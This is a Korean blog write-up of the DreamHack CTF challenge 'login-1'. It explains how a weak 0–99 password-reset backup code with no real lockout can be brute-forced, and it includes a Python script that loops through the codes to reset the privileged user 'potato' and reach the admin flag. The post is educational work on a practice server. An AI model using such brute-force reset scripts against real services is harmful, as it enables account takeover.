Yozzang의 해킹일기 💻
article thumbnail
728x90

오늘은 DreamHacker의 웹 해킹 워게임 중 하나인 login-1를 함께 풀어볼 예정이다.

 

 

login-1

python으로 작성된 로그인 기능을 가진 서비스입니다. "admin" 권한을 가진 사용자로 로그인하여 플래그를 획득하세요. Reference Server-side Basic

dreamhack.io


## 문제 설명:

문제 설명

문제 정보를 살펴보면 admin 사용자로 로그하여 flag를 획득하면 되는 것으로 보인다.

## 문제 풀이

사이트에 접속해보니 다음과 화면이 보인다.

main

Login 버튼을 클릭하면 다음과 같이 로그인 기능을 제공하는 화면이 출력된다.

Login

주어진 소스 코드를 확인해보면 다음과 같이 /admin에 접속하려면 session['level']이 userLevel[1]을 만족해야 한다.

소스 코드

userLevel[1]의 정보는 다음과 같이 /user/<int:useridx>로 확인할 수 있다.

소스 코드

/user/1를 입력하여 내용을 확인해보면 다음과 같다.

userLevel[1]

UserID가 potato이고 UserLevel이 1인 것을 확인할 수 있다. 즉, potato로그인을 성공해야 flag를 획득할 수 있다.

 

로그인창의 아래쪽에 fogot password?라는 버튼이 있다. 해당 버튼을 클릭하면 다음과 같이 비밀번호를 바꿀 수 있지만, backupCode가 필요하다.

forgot password

다음 소스 코드를 확인해보면 backupCode를 5번 틀릴 경우 history.back을 하긴 하나 브루트포스 공격이 아예 불가능한 것은 아니다.

소스 코드

또한 backupCode는 0~99중 난수인 것을 알 수 있다.

소스 코드

브루트포스 공격이 가능한 것을 확인해보았으니, 이제 파이썬을 통해 공격 코드를 작성해보겠다.

## 공격 코드

import requests

PORT = 16138
URL = f"http://host3.dreamhack.games:{PORT}/forgot_password"

targetUserID = "potato"
targetUserPassword = "1234"

for backupCode in range(1, 100):

    queryData = {'userid': targetUserID,
                 'newpassword': targetUserPassword, 'backupCode': backupCode}

    response = requests.post(URL, data=queryData)

    if response.status_code == 500:
        print(
            f"[-]BackupCode {backupCode} : 500 Error({queryData}). Try next...")
    else:
        print(
            f"[+]BackupCode {backupCode} : **NOT** 500 Error({queryData}). Success!")
        print(response)
        break

## 실행 결과

실행 결과

변경한 비밀번호로 potato 계정으로 접속한 다음에, /admin을 접속해보면 다음과 같이 flag가 출력된 것을 확인할 수 있다.

성공

'Wargame > DreamHack' 카테고리의 다른 글

[DreamHack 워게임] blind-command  (0) 2023.04.05
[DreamHack 워게임] command-injection  (0) 2023.04.04
[DreamHack 워게임] image-storage  (0) 2023.04.02
[DreamHack 워게임] simple-ssti  (0) 2023.04.01
[DreamHack 워게임] csrf-1  (0) 2023.03.31
profile

Yozzang의 해킹일기 💻

@요짱

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!